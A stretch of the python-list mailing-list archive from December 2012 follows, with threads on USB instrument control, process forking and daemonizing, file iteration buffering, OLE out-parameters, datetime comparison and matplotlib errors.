<50bcb507$0$6622$9b4e6d93@newsspool2.arcor-online.net> Message-ID: <50c5cbd3$0$6584$9b4e6d93@newsspool3.arcor-online.net> Am 05.12.2012 21:24, schrieb Owatch: > Thanks a TON for your answer thought, this is exactly what I really hoped for. > The problem for me is that I don't actually know anything about writing a function that opens a network socket, and "connects to that plugin und asks it for the > information you require." That plugin should have some documentation which should tell you something about how to connect to it and how to request information. When you know that you can turn to the python documentation and find out how to do this in python. > That's all really beyond me, all I can do is what I did so far, which is make it ask for your temperature value, and then test it to see if its an integer > > Then (I added this for testing) It asks for any temperature value. And if it exceeds the given limit, it rings an alarm. Until it freezes and becomes unresponsive :D If you have specific problems with code you have written, try to build up a minimal "working" example that shows the problem plus any error messages/exceptions/stack traces you get back. We might be able to help you with your code. > I don't know how to make it 'query' or grab values constantly, if you don't mind my potentially incorrect terminology. This is typically done with some kind of loop, e.g. run = True while run: #do something repeatedly and do "run = False" if you want to stop pass Greetings Alexander From __peter__ at web.de Mon Dec 10 08:17:03 2012 From: __peter__ at web.de (Peter Otten) Date: Mon, 10 Dec 2012 14:17:03 +0100 Subject: why the conut( ) can not get the number? References: Message-ID: ???? wrote: > i wnat to get the number of a atrributes in a xpath,here is my code,why i > can not get the number ? import urllib > import lxml.html > down="http://python-gtk-3-tutorial.readthedocs.org/en/latest/index.html" > file=urllib.urlopen(down).read() > root=lxml.html.document_fromstring(file) > for order,node in enumerate(root.xpath('//li[@class="toctree-l1"]')): > print order,node.xpath('.//a[count(*)]') This looks more like an xpath than a python problem. I'm no xpath expert -- and you don't describe the expected outcome -- maybe you want print order, node.xpath("count(.//a)") From jeandubois314 at gmail.com Mon Dec 10 08:31:49 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Mon, 10 Dec 2012 05:31:49 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> Message-ID: <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> On 7 dec, 14:46, Jean Dubois wrote: > On 6 dec, 21:15, w... at mac.com wrote: > > > On Dec 6, 2012, at 2:41 PM, Jean Dubois wrote: > > > > On 6 dec, 15:50, w... at mac.com wrote: > > >> On Dec 6, 2012, at 8:50 AM, Jean Dubois wrote: > > > >> [byte] > > > >>> It seems there is some misunderstanding here. What I meant with ?how > > >>> to "do the equivalent in Python" refered to ?"reading characters > > >>> rather than lines". > > >>> I have written working code myself for another Keithleu which does use > > >>> RS232 for communication. The problem now is specifically for the new > > >>> Keithley which doesn't allow RS232 but only USB-communication over > > >>>usbtmc. So if the "buffer-problem" could be changed by reading > > >>> characters that would be great. > > > >>> regards, > > >>> Jean > > > >>> -- > > >>>http://mail.python.org/mailman/listinfo/python-list > > > >> Sorry about the misunderstanding (and subsequent waste of bandwidth). ?However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. > > > >> -Bill > > > I tried changing measurementcurr=usbkeith.readline() to > > > measurementcurr=usbkeith.read(10000) > > > but this leads to trouble with theusbtmc-thing: > > > > Measured current 1: > > > Traceback (most recent call last): > > > ?File "./keith2200rev2.py", line 26, in > > > ? ?measurementvolt=usbkeith.read(10000) > > > IOError: [Errno 110] Connection timed out > > > > and hereafter I need to restart the Keithley...:-( > > > > regards, > > > Jean > > > -- > > >http://mail.python.org/mailman/listinfo/python-list > > > Several comments: > > > 1) ?I can't be sure, but that would seem to be asking the Keithley to be providing 10,000 readings. ?I don't know about the GPIB bus (which thisUSBTMClibrary seems to be trying >to emulate), but most serial devices expect to provide one answer per read-write handshake. ?That is, you send one read command and get one answer back. ?That answer may contain >several bytes, but I'd be surprised it it contained 10,000. ?The typical cycle is something like send-an-initialize, read-status, send-mode-set-up, read-status, send trigger >command, read-answer? ?lather and repeat. ? (Or some logical equivalent of all that). ?On the assumption that theUSBTMCAPI handles most of that, I'd try usbkeith.read(n) where >"n" is the number of decimal digits you expect to get back plus sign. > > 10000 wasn't a good guess indeed> ------------- > > > 2) I took a quick look at the Keithley and National Instruments web sites (where the documentation is at best, VERY poorly indexed and hard to search for). ?USBTMC*appears* to be a software layer designed to allow newer Tektronix and Keithley instruments to be driven using older software that drove GPIB equipment. ?To make matters worse, if I'm reading it right (I didn't study in detail) it appears to ALSO be providing a GPIB-like API to Windows versions of National Instruments LabView. > > > 3) ?If I understand what you are trying to do, you want to go straight from python to the Keithley USB port, without detouring (USB-to-GPIB and GPIB back to USB). > > Yes indeed, that's exactly what I want > > > 4) ?I did find (but did not try to read in detail) the following link: ?http://www.ni.com/white-paper/4478/en?which documents direct USB control of instruments. ?The python serial >library provides quite transparent control of reading and writing to the USB interface. ?Maybe following this link will get you going. > > Thanks for the link, but as you can see there they want to push NI- > VISA forward as the solution, which under Linux means more complexity > and surely isn't as simple to install as they claim, so if possible > I'd avoid ni-visa. > > I'll experiment further Monday with read() and keep you informed > > regards, > Jean I changed the program as below an experimentally found out I have to use an number of characters between 11 and 4095 I doesn't seem to make any difference which value I choose in that interval, however the results are as follows: 0.0077219 0.0295029; this is rubbish 0.0249596 0.261837; this should have been the first data pair 0.0499763 0.516741; this should have been the 2nd data pair 0.0750685 0.767388; this should have been the 3rd data pair 4th data pair is missing As you can see this approach suffers from the same "buffer problem" as the approach with readline did. One now good argue as a workaround: get rid of the first data pair and add an extra measure command for the missing data pair, however this still does not explain why this problem is there in Python and not in Octave and I also fear I'll get more trouble when sending combined commands e.g. such as that to create a staircase current So my question is, how to modify the Python-code such that the first data pair is indeed the first data pair thanks, jean Here follows the new code: #!/usr/bin/python import time import os import sys measurementcurr='' measurementvolt='' timesleepdefault=5 print "Enter a numofchar (11 = <50c563e0$0$21722$c3e8da3$76491128@news.astraweb.com> Message-ID: On 2012-12-10 04:24:00 +0000, Steven D'Aprano said: > On Sun, 09 Dec 2012 20:13:43 -0500, Alex Clark wrote: > >>>>> import other >> The Zen of Zope, by Alex Clark > > I expect that I would find that hilarious if I knew anything about Zope :) Well, you are in luck! Because it's a tutorial too: https://github.com/aclark4life/other/blob/master/other.py :-) -- Alex Clark ? https://www.gittip.com/aclark4life/ From wrw at mac.com Mon Dec 10 10:34:32 2012 From: wrw at mac.com (wrw at mac.com) Date: Mon, 10 Dec 2012 10:34:32 -0500 Subject: problem with usbtmc-communication In-Reply-To: <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> Message-ID: <687AC129-2F78-47A7-9957-3DA246D0B76A@mac.com> On Dec 10, 2012, at 8:31 AM, Jean Dubois wrote: [byte] > As you can see this approach suffers from the same "buffer problem" as > the approach with readline did. One now good argue as a workaround: > get rid of the first data pair and add an extra measure command for > the missing data pair, however this still does not explain why this > problem is there in Python and not in Octave and I also fear I'll get > more trouble when sending combined commands e.g. such as that to > create a staircase current > So my question is, how to modify the Python-code such that the first > data pair is indeed the first data pair > > thanks, > jean > > Here follows the new code: > #!/usr/bin/python > import time > import os > import sys > measurementcurr='' > measurementvolt='' > timesleepdefault=5 > print "Enter a numofchar (11 = numofchar = int(raw_input()) > filename ='mydata.txt' > usbkeith = open('/dev/usbtmc1','r+') > usbkeith.flush() > usbkeith.write("*IDN?\n") It seems like a real leap of faith to be opening /dev/usbtmc1 as though it were a file-oriented device. I've never heard of ANY instrument interface implemented this way. Where did you see example code that did that. Have you tried to access /dev/usbtmc1 as though it were a serial device? > #strip blank line: > identification=usbkeith.readline().strip() > print 'Found device: ',identification > usbkeith.write("SYST:REM" + "\n") > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > keithdata = open(filename,'w') > usbkeith.write(":OUTP:STAT ON\n") > for number, current_in in enumerate(('0.025', '0.050', '0.075', > '0.100'), 1): > usbkeith.write(":SOUR:CURR %s\n" % current_in) > time.sleep(timesleepdefault) > usbkeith.write(":MEAS:CURR?\n") > measurementcurr=usbkeith.read(numofchar) > print 'Measured current %d: ' % number, measurementcurr > usbkeith.write(":MEAS:VOLT?\n") > measurementvolt=usbkeith.read(numofchar) > print 'Measured voltage %d: ' % number, measurementvolt > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > usbkeith.write(":OUTP:STAT OFF\n") > print "Goodbye, data logged in file:" > print filename > usbkeith.close() > keithdata.close() > -- > http://mail.python.org/mailman/listinfo/python-list From andrea.crotti.0 at gmail.com Mon Dec 10 10:42:39 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Mon, 10 Dec 2012 15:42:39 +0000 Subject: forking and avoiding zombies! Message-ID: So I implemented a simple decorator to run a function in a forked process, as below. It works well but the problem is that the childs end up as zombies on one machine, while strangely I can't reproduce the same on mine.. I know that this is not the perfect method to spawn a daemon, but I also wanted to keep the code as simple as possible since other people will maintain it.. What is the easiest solution to avoid the creation of zombies and maintain this functionality? thanks def on_forked_process(func): from os import fork """Decorator that forks the process, runs the function and gives back control to the main process """ def _on_forked_process(*args, **kwargs): pid = fork() if pid == 0: func(*args, **kwargs) _exit(0) else: return pid return _on_forked_process From moonhkt at gmail.com Mon Dec 10 10:51:08 2012 From: moonhkt at gmail.com (moonhkt) Date: Mon, 10 Dec 2012 07:51:08 -0800 (PST) Subject: using smtp sent large file upto 60MB References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> <50BE1990.4020009@shopzeus.com> <85208793-33f5-4ea7-a20c-98436afe0300@m4g2000yqf.googlegroups.com> Message-ID: <44109745-ac15-4c2d-88c0-5d785ca40a85@uk1g2000pbb.googlegroups.com> On 12?5?, ??11?01?, Michael Torrie wrote: > On 12/04/2012 05:54 PM, moonhkt wrote: > > > Our SMTP can send file more than 60MB. But our notes server can > > configured 100MB,30MB or 10MB. My notes Mail box can receive 100MB. > > > In UNIX, by below command send ?smtp mail. > > uuencode $xfn $xfn | mail -s "$SUBJECT" $NAME > > Just continue to use this set of commands. ?You can use the subprocess > module to interact with these programs. OK. Will try using subprocess. From moonhkt at gmail.com Mon Dec 10 11:36:22 2012 From: moonhkt at gmail.com (moonhkt) Date: Mon, 10 Dec 2012 08:36:22 -0800 (PST) Subject: About open file for Read Message-ID: <76d0014e-3910-4397-83b3-224c1b026f33@uc4g2000pbc.googlegroups.com> Hi All I am new in Python. When using open and then for line in f . Does it read all the data into f object ? or read line by line ? f=open(file, 'r') for line in f: if userstring in line: print "file: " + os.path.join(root,file) break f.close() moonhk From pjmakey2 at gmail.com Mon Dec 10 12:00:47 2012 From: pjmakey2 at gmail.com (peter) Date: Mon, 10 Dec 2012 14:00:47 -0300 Subject: forking and avoiding zombies! In-Reply-To: References: Message-ID: <50C6153F.8050205@gmail.com> On 12/10/2012 12:42 PM, andrea crotti wrote: > So I implemented a simple decorator to run a function in a forked > process, as below. > > It works well but the problem is that the childs end up as zombies on > one machine, while strangely > I can't reproduce the same on mine.. > > I know that this is not the perfect method to spawn a daemon, but I > also wanted to keep the code > as simple as possible since other people will maintain it.. > > What is the easiest solution to avoid the creation of zombies and > maintain this functionality? > thanks > > > def on_forked_process(func): > from os import fork > """Decorator that forks the process, runs the function and gives > back control to the main process > """ > def _on_forked_process(*args, **kwargs): > pid = fork() > if pid == 0: > func(*args, **kwargs) > _exit(0) > else: > return pid > > return _on_forked_process Ou. yo need to use something more advanced. This is the code from book ('Unix Network Programing' - the python implementation) import sys, os def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): # Perform first fork. try: pid = os.fork( ) if pid > 0: sys.exit(0) # Exit first parent. except OSError, e: sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # Decouple from parent environment. os.chdir("/") os.umask(0) os.setsid( ) # Perform second fork. try: pid = os.fork( ) if pid > 0: sys.exit(0) # Exit second parent. except OSError, e: sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # The process is now daemonized, redirect standard file descriptors. for f in sys.stdout, sys.stderr: f.flush( ) si = file(stdin, 'r') so = file(stdout, 'a+') se = file(stderr, 'a+', 0) os.dup2(si.fileno( ), sys.stdin.fileno( )) os.dup2(so.fileno( ), sys.stdout.fileno( )) os.dup2(se.fileno( ), sys.stderr.fileno( )) Put this file and named daemon.py, then just for your program by calling import this file. Like this. from daemon import daemonize def main(): while True: print 'I'm Alive :)' if __name__ == '__main__': daemonize(stdout='/var/log/run_time.log', stderr='/var/log/error.log') main() From d at davea.name Mon Dec 10 12:14:18 2012 From: d at davea.name (Dave Angel) Date: Mon, 10 Dec 2012 12:14:18 -0500 Subject: About open file for Read In-Reply-To: <76d0014e-3910-4397-83b3-224c1b026f33@uc4g2000pbc.googlegroups.com> References: <76d0014e-3910-4397-83b3-224c1b026f33@uc4g2000pbc.googlegroups.com> Message-ID: <50C6186A.1020805@davea.name> On 12/10/2012 11:36 AM, moonhkt wrote: > Hi All > > I am new in Python. When using open and then for line in f . > > Does it read all the data into f object ? or read line by line ? > > > f=open(file, 'r') > for line in f: > if userstring in line: > print "file: " + os.path.join(root,file) > break > f.close() > > > moonhk open() does not read the whole file into any object. There is buffering that goes on in the C libraries that open() calls, but that should be transparent to you for regular files. When you ask for a line, it'll read enough to fulfill that request, and maybe some extra that'll get held somewhere in the C runtime library. You should look into the 'with' statement, to avoid that f.close(). That way the file will be closed, regardless of whether you get an exception or not. http://docs.python.org/2/reference/compound_stmts.html#index-15 with open(file,. "r") as f: for line in f: etc. BTW, since you're in version 2.x, you should avoid hiding the builtin file object. Call it something like file_name, or infile_name. -- DaveA From __peter__ at web.de Mon Dec 10 12:40:15 2012 From: __peter__ at web.de (Peter Otten) Date: Mon, 10 Dec 2012 18:40:15 +0100 Subject: About open file for Read References: <76d0014e-3910-4397-83b3-224c1b026f33@uc4g2000pbc.googlegroups.com> <50C6186A.1020805@davea.name> Message-ID: Dave Angel wrote: > On 12/10/2012 11:36 AM, moonhkt wrote: >> Hi All >> >> I am new in Python. When using open and then for line in f . >> >> Does it read all the data into f object ? or read line by line ? >> >> >> f=open(file, 'r') >> for line in f: >> if userstring in line: >> print "file: " + os.path.join(root,file) >> break >> f.close() >> >> >> moonhk > > open() does not read the whole file into any object. There is buffering > that goes on in the C libraries that open() calls, but that should be > transparent to you for regular files. > > When you ask for a line, it'll read enough to fulfill that request, and > maybe some extra that'll get held somewhere in the C runtime library. > > You should look into the 'with' statement, to avoid that f.close(). > That way the file will be closed, regardless of whether you get an > exception or not. > > http://docs.python.org/2/reference/compound_stmts.html#index-15 > > with open(file,. "r") as f: > for line in f: > etc. > > BTW, since you're in version 2.x, you should avoid hiding the builtin > file object. Call it something like file_name, or infile_name. > Python does a bit of buffering on its own (which is why you cannot mix file iteration and .readline() calls): >>> with open("tmp.txt", "w") as f: f.writelines("%s\n" % i for i in range(10**6)) ... >>> f = open("tmp.txt") >>> f.readline() '0\n' >>> f.tell() 2 >>> f.readline() '1\n' >>> f.tell() 4 >>> next(f) # a for-loop does this implicitly '2\n' >>> f.tell() 8196 # after a next() call or the first loop iteration # part of the file is now in a buffer. >>> f.readline() Traceback (most recent call last): File "", line 1, in ValueError: Mixing iteration and read methods would lose data >>> f.seek(0, 2) >>> f.tell() 6888890 This is Python 2, in Python 3 f.tell() would fail after a next(f) call, but f.readline() continues to work. From coder1024 at gmail.com Mon Dec 10 14:13:51 2012 From: coder1024 at gmail.com (bitbucket) Date: Mon, 10 Dec 2012 11:13:51 -0800 (PST) Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" Message-ID: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> I have an existing Windows application which provides an OLE Automation (IDispatch) interface. I'm not able to change that interface. I'd like to call it from a scripting language. I figure this would provide a nice quick way to invoke on the app. I initially tried this with Windows Powershell but ran into the following problem. I was able to create the object and invoke simple methods on it. However the interface for this app has methods which take out params. i.e. you pass in a reference to a variable and the server fills in the value. I couldn't get that to work. I finally gave up and decided it was just a limitation of Powershell, not being able to work with those out params. My next thought was to do it in python. I've been reading up on python and I've found a decent amount of into out there on doing OLE and I'm optimistic. But, I thought that I'd ask the question before digging too much farther into it... When calling an OLE Automation (IDispatch) server from python can I make use of "out params" defined by the interface? To get more specific, here's an example from the server's IDL for one of its methods. [id(15), helpstring("method GetSettingValue")] VARIANT_BOOL GetSettingValue(BSTR settingName, BSTR* settingValue); As you can see, you have to pass in an out param for settingValue. The server fills this in for you. And this is what I couldn't get to work in Powershell. Anyone know whether or not OLE from python will allow passing in out params? Do you think this will work? From asklucas at gmx.net Mon Dec 10 14:20:45 2012 From: asklucas at gmx.net (asklucas at gmx.net) Date: Mon, 10 Dec 2012 11:20:45 -0800 (PST) Subject: Using poplib to parse headers - Thank You All! In-Reply-To: References: Message-ID: <0ec4d07d-8f38-4c64-8b44-8c6edaf3bf72@googlegroups.com> Hello Jean-Claude! Thank you for your post, it helped me a lot! I'm not too new to Python but still struggling to make use of that great language's features. I haven't tested it but since you are interested in syntactic subtleties, I think you can save one iterator (k): for j in popconnection.retr( i+1): ____if type( j) == list: ________outString = "" ________for line in j: ____________outString += line ____________outString += '\n' L. From asklucas at gmx.net Mon Dec 10 14:20:45 2012 From: asklucas at gmx.net (asklucas at gmx.net) Date: Mon, 10 Dec 2012 11:20:45 -0800 (PST) Subject: Using poplib to parse headers - Thank You All! In-Reply-To: References: Message-ID: <0ec4d07d-8f38-4c64-8b44-8c6edaf3bf72@googlegroups.com> Hello Jean-Claude! Thank you for your post, it helped me a lot! I'm not too new to Python but still struggling to make use of that great language's features. I haven't tested it but since you are interested in syntactic subtleties, I think you can save one iterator (k): for j in popconnection.retr( i+1): ____if type( j) == list: ________outString = "" ________for line in j: ____________outString += line ____________outString += '\n' L. From jenn.duerr at gmail.com Mon Dec 10 14:57:37 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 11:57:37 -0800 (PST) Subject: date-time comparison, aware vs naive Message-ID: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> I want to compare a user entered date-and-time against the date-and-time of a pdf file. I posted on this (how to get a file's date-time) before, was advised to do it like: import datetime, os, stat mtime = os.lstat(filename)[stat.ST_MTIME] // the files modification time dt = datetime.datetime.fromtimestamp(mtime) I am having problems with the comparison, that line is failing. I think I may have figured out the issue -- I think it is a matter of the file's time being 'aware' and the user-input date-time being 'naive'. The user-input date-time has a parameter type of date (calender and time tool supplied to enter), but is it 'aware'? The comparison is not working so I think that it is not aware. I can successfully compare two pdf file times against one another. So, is there a way to cast that user-input value (prints as 2/10/2012 3:19:57 PM) as an 'aware' date-time? How? And can anyone confirm that my findings are probably correct? Thanks for any help. From gordon at panix.com Mon Dec 10 15:22:34 2012 From: gordon at panix.com (John Gordon) Date: Mon, 10 Dec 2012 20:22:34 +0000 (UTC) Subject: date-time comparison, aware vs naive References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> Message-ID: In <21eb3e6f-9a82-47aa-93ff-8f4083d18b66 at googlegroups.com> noydb writes: > I want to compare a user entered date-and-time against the date-and-time of > a pdf file. I posted on this (how to get a file's date-time) before, was > advised to do it like: > import datetime, os, stat > mtime = os.lstat(filename)[stat.ST_MTIME] // the files modification time > dt = datetime.datetime.fromtimestamp(mtime) > I am having problems with the comparison, that line is failing. What line? You haven't posted any comparison line of code here. Please post the actual code you're using, instead of telling us about it. -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From jenn.duerr at gmail.com Mon Dec 10 15:31:35 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 12:31:35 -0800 (PST) Subject: date-time comparison, aware vs naive In-Reply-To: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> Message-ID: <59b12a2f-db75-42e9-b7a2-d91f29a09828@googlegroups.com> Found this, and it solved my problem http://blogs.law.harvard.edu/rprasad/2011/09/21/python-string-to-a-datetime-object/ From subhabangalore at gmail.com Mon Dec 10 15:40:07 2012 From: subhabangalore at gmail.com (subhabangalore at gmail.com) Date: Mon, 10 Dec 2012 12:40:07 -0800 (PST) Subject: Matplotlib/Pylab Error Message-ID: <53ef294d-e46a-4734-9227-1ca766e056ae@googlegroups.com> Dear Group, I am trying to enumerate few interesting errors on pylab/matplotlib. If any of the learned members can kindly let me know how should I address them. I am trying to enumerate them as follows. i) >>> import numpy >>> import pylab >>> t = numpy.arange(0.0, 1.0+0.01, 0.01) >>> s = numpy.cos(2*2*numpy.pi*t) >>> pylab.plot(t, s) [] >>> pylab.show() Exception in Tkinter callback Traceback (most recent call last): File "C:\Python26\lib\lib-tk\Tkinter.py", line 1410, in __call__ return self.func(*args) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 236, in resize self.show() File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 239, in draw FigureCanvasAgg.draw(self) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 421, in draw self.figure.draw(self.renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\figure.py", line 898, in draw func(*args) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\axes.py", line 1997, in draw a.draw(renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 1045, in draw tick.draw(renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\axis.py", line 239, in draw self.label1.draw(renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\text.py", line 591, in draw ismath=ismath) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 167, in draw_text font.draw_glyphs_to_bitmap(antialiased=rcParams['text.antialiased']) TypeError: draw_glyphs_to_bitmap() takes no keyword arguments ii) Python 2.6.1 (r261:67517, Dec 4 2008, 16:51:00) [MSC v.1500 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. **************************************************************** Personal firewall software may warn about the connection IDLE makes to its subprocess using this computer's internal loopback interface. This connection is not visible on any external interface and no data is sent to or received from the Internet. **************************************************************** IDLE 2.6.1 >>> import networkx as nx >>> G=nx.Graph() >>> G.add_node(1) >>> G.add_nodes_from([2,3]) >>> H=nx.path_graph(10) >>> G.add_nodes_from(H) >>> G.add_node(H) >>> G.add_edge(1,2) >>> G.draw() Traceback (most recent call last): File "", line 1, in G.draw() AttributeError: 'Graph' object has no attribute 'draw' >>> import matplotlib.pyplot as plt >>> plt.show() >>> nx.draw(G) >>> plt.show() Exception in Tkinter callback Traceback (most recent call last): File "C:\Python26\lib\lib-tk\Tkinter.py", line 1410, in __call__ return self.func(*args) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 236, in resize self.show() File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_tkagg.py", line 239, in draw FigureCanvasAgg.draw(self) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 421, in draw self.figure.draw(self.renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\figure.py", line 898, in draw func(*args) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\axes.py", line 1997, in draw a.draw(renderer) File "C:\Python26\Lib\site-packages\matplotlib\artist.py", line 55, in draw_wrapper draw(artist, renderer, *args, **kwargs) File "C:\Python26\Lib\site-packages\matplotlib\text.py", line 591, in draw ismath=ismath) File "C:\Python26\Lib\site-packages\matplotlib\backends\backend_agg.py", line 167, in draw_text font.draw_glyphs_to_bitmap(antialiased=rcParams['text.antialiased']) TypeError: draw_glyphs_to_bitmap() takes no keyword arguments Regards, Subhabrata. From steve+comp.lang.python at pearwood.info Mon Dec 10 15:45:39 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 10 Dec 2012 20:45:39 GMT Subject: About open file for Read References: <76d0014e-3910-4397-83b3-224c1b026f33@uc4g2000pbc.googlegroups.com> Message-ID: <50c649f3$0$29994$c3e8da3$5496439d@news.astraweb.com> On Mon, 10 Dec 2012 08:36:22 -0800, moonhkt wrote: > Hi All > > I am new in Python. When using open and then for line in f . > > Does it read all the data into f object ? or read line by line ? Have you read the Fine Manual? http://docs.python.org/2/library/stdtypes.html#file-objects If you have read it, and the answer is still not clear, then please tell us so we can improve the documentation. `for line in open(file, "r"):` does not read the entire file into memory at once, it iterates over the file reading one line at a time. -- Steven From steve+comp.lang.python at pearwood.info Mon Dec 10 15:52:55 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 10 Dec 2012 20:52:55 GMT Subject: date-time comparison, aware vs naive References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> Message-ID: <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> On Mon, 10 Dec 2012 11:57:37 -0800, noydb wrote: > I want to compare a user entered date-and-time against the date-and-time > of a pdf file. I posted on this (how to get a file's date-time) before, > was advised to do it like: > > import datetime, os, stat > mtime = os.lstat(filename)[stat.ST_MTIME] // the files modification > time What language are you writing? Using // for comments is not Python. > dt = datetime.datetime.fromtimestamp(mtime) > > I am having problems with the comparison, that line is failing. You haven't shown us the comparison line. Would you like us to guess what it does? My guess is that you are doing this: if mtime is dtime: ... Am I close? If not, please forgive me, my crystal ball is often faulty. > I think > I may have figured out the issue -- I think it is a matter of the file's > time being 'aware' and the user-input date-time being 'naive'. "Aware" of what? -- Steven From tjreedy at udel.edu Mon Dec 10 15:58:33 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 10 Dec 2012 15:58:33 -0500 Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: On 12/10/2012 2:13 PM, bitbucket wrote: > I have an existing Windows application which provides an OLE > Automation (IDispatch) interface. I'm not able to change that > interface. I'd like to call it from a scripting language. I figure > this would provide a nice quick way to invoke on the app. I believe the easiest way to do that is to install the pywin extensions http://sourceforge.net/projects/pywin32/?source=directory I assume it can handle out params. -- Terry Jan Reedy From jenn.duerr at gmail.com Mon Dec 10 16:02:38 2012 From: jenn.duerr at gmail.com (noydb) Date: Mon, 10 Dec 2012 13:02:38 -0800 (PST) Subject: date-time comparison, aware vs naive In-Reply-To: <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <62596087-2ada-47c9-9d86-0044b7fbf701@googlegroups.com> On Monday, December 10, 2012 3:52:55 PM UTC-5, Steven D'Aprano wrote: > On Mon, 10 Dec 2012 11:57:37 -0800, noydb wrote: > > > > > I want to compare a user entered date-and-time against the date-and-time > > > of a pdf file. I posted on this (how to get a file's date-time) before, > > > was advised to do it like: > > > > > > import datetime, os, stat > > > mtime = os.lstat(filename)[stat.ST_MTIME] // the files modification > > > time > > > > What language are you writing? Using // for comments is not Python. > > > > > > > dt = datetime.datetime.fromtimestamp(mtime) > > > > > > I am having problems with the comparison, that line is failing. > > > > You haven't shown us the comparison line. Would you like us to guess what > > it does? > > > > My guess is that you are doing this: > > > > if mtime is dtime: ... > > > > Am I close? > > > > If not, please forgive me, my crystal ball is often faulty. > > > > > > > I think > > > I may have figured out the issue -- I think it is a matter of the file's > > > time being 'aware' and the user-input date-time being 'naive'. > > > > "Aware" of what? > > > > > > > > -- > > Steven Forgive me, I was just copying the code from the original reply to my orignal question. Forgive me for not posting the comparison line, it goes something like if one_time > another_time: Forgive me - the 'aware' time vs 'naive' time refers to documentation I found for the datetime module, see second sentence down http://docs.python.org/2/library/datetime.html From d at davea.name Mon Dec 10 16:12:10 2012 From: d at davea.name (Dave Angel) Date: Mon, 10 Dec 2012 16:12:10 -0500 Subject: date-time comparison, aware vs naive In-Reply-To: <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> References: <21eb3e6f-9a82-47aa-93ff-8f4083d18b66@googlegroups.com> <50c64ba7$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50C6502A.9060600@davea.name> On 12/10/2012 03:52 PM, Steven D'Aprano wrote: > 